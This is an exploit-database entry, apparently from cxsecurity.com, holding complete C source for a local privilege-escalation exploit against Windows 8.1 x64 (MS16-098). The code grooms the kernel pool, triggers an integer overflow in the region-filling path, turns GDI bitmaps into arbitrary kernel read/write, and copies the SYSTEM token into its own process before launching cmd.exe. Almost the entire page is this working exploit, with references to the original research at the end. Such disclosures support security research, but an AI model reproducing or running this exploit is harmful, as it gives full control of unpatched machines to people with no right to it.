Microsoft Windows 8.1 (x64) RGNOBJ Integer Overflow MS16-098

Published
Credit
Risk
2017.08.09
Saif
Medium
CWE
CVE
Local
Remote
CWE-189
N/A
Yes
No

#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>

HANDLE hWorker, hManager;
BYTE *bits;
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
DWORD UniqueProcessIdOffset;
DWORD TokenOffset;
} VersionSpecificConfig;

VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1

void AllocateClipBoard(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size - 1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
//OpenClipboard(wnd);
//EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
//CloseClipboard();
GlobalFree(hMem);
}

void AllocateClipBoard2(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size - 1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
//OpenClipboard(0);
//EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
//CloseClipboard();
//GlobalFree(hMem);
}



//https://www-user.tu-chemnitz.de/~heha/petzold/ch14e.htm
// CreateBitmap(7,9,5,3,NULL);
//iWidthBytes = 2 * ((cx*bitsperpixel+15)/16) = 4.5 ~ 4
//iBitmapBits = (cy * cplanes * iWidthBytes = 180

static HBITMAP bitmaps[5000];

void fungshuei() {
HBITMAP bmp;

for (int k = 0; k < 5000; k++) {
//bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1680 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}

HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));

HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}

for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}

for (int k = 0; k < 5000; k++) {
//AllocateClipBoard2(0xB90);
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}

for (int k = 0; k < 5000; k++) {
//bmp = CreateBitmap(160, 2, 1, 8, NULL); //160 = 0x3a0 real allocation size 0x3b0
//bmp = CreateBitmap(165, 2, 1, 8, NULL); // size 3c0 // 140 = size = 390
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
//bmp = CreateBitmap(0x150, 1, 1, 8, NULL); //size = 3c0
//bmp = CreateBitmap(0xa2, 1, 1, 16, NULL); // size = 3c0
bitmaps[k] = bmp;
}

for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}

for (int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}

}

void SetAddress(BYTE* address) {
for (int i = 0; i < sizeof(address); i++) {
bits[0xdf0 + i] = address[i];
}
SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
SetBitmapBits(hWorker, sizeof(data), data);
}

LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
SetAddress((BYTE *)&src);
return GetBitmapBits(hWorker, len, dst);
}

// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
ULONG64 Bases[0x1000];
DWORD needed = 0;
ULONG64 krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}

// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
// load ntoskrnl.exe

ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
// get address of exported PsInitialSystemProcess variable
ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
ULONG64 res = 0;
ULONG64 ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
}
return res;
}

// Get EPROCESS for current process
ULONG64 PsGetCurrentProcess()
{
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS

// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));

ULONG64 res = 0;

while (TRUE) {
ULONG64 UniqueProcessId = 0;

// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
break;
}
return res;
}

void main(int argc, char* argv[]) {
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);

static POINT points[0x3fe01];

for (int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20;
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;

if (!BeginPath(hMemDC)) {
fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
}

for (int j = 0; j < 0x156; j++) {
if (j > 0x1F && points[2].y != 0x5a1f) {
points[2].y = 0x5a1f;
}
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
}
}

EndPath(hMemDC);
//Kernel Pool Fung=Shuei
fungshuei();
//getchar();

fprintf(stdout, "[+] Trigerring Exploit.\r\n");
//__debugbreak();
if (!FillPath(hMemDC)) {
fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
}
printf("%s\r\n", "Done filling.");

HRESULT res;
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!fake) {
fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
}
memset(fake, 0x1, 0x100);

bits = malloc(0x1000);
memset(bits, 0x42, 0x1000);
for (int k = 0; k < 5000; k++) {

res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
if (res > 0x150) {
fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
/*fprintf(stdout, "Printing Bits:\r\n");
for (int i = 1; i < 0x1000; i++) {
fprintf(stdout, "%02x", bits[i]);
}*/
hManager = bitmaps[k];
hWorker = bitmaps[k + 1];


// Get Gh05 header to fix overflown header.
static BYTE Gh04[0x9];
fprintf(stdout, "\r\nGh04 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh04[i] = bits[0x1d0 + i];
fprintf(stdout, "%02x", bits[0x1d0 + i]);
}

// Get Gh05 header to fix overflown header.
static BYTE Gh05[0x9];
fprintf(stdout, "\r\nGh05 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh05[i] = bits[0xd90 + i];
fprintf(stdout, "%02x", bits[0xd90 + i]);
}

// Address of Overflown Gh04 object header
static BYTE addr1[0x7];
fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
for (int j = 0; j < 0x8; j++) {
addr1[j] = bits[0x210 + j];
fprintf(stdout, "%02x", bits[0x210 + j]);
}
//Get pvscan0 address of second Gh05 object
static BYTE* pvscan[0x07];
fprintf(stdout, "\r\nPvsca0:\r\n");
for (int i = 0; i < 0x8; i++) {
pvscan[i] = bits[0xdf0 + i];
fprintf(stdout, "%02x", bits[0xdf0 + i]);
}

// Calculate address to overflown Gh04 object header.
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;

//Fix overflown Gh04 object Header
//__debugbreak();
SetAddress(addr1);
//__debugbreak();
WriteToAddress(Gh04);

// Calculate address to overflown Gh05 object header.
addr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
addr1[1] = y;

//Fix overflown Gh05 object Header
SetAddress(addr1);
WriteToAddress(Gh05);

// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
//__debugbreak();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProccessAddr);

WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
system("cmd.exe");

break;
}
if (res == 0) {
fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
}
}
//getchar();
//clean up
DeleteObject(bitobj);
DeleteObject(bitmap);
DeleteDC(hMemDC);
ReleaseDC(NULL, hdc);
VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
//free(points);
}

References:

https://github.com/sensepost/gdi-palettes-exp
https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/
https://www.defcon.org/html/defcon-25/dc-25-speakers.html#El-Sherei
https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com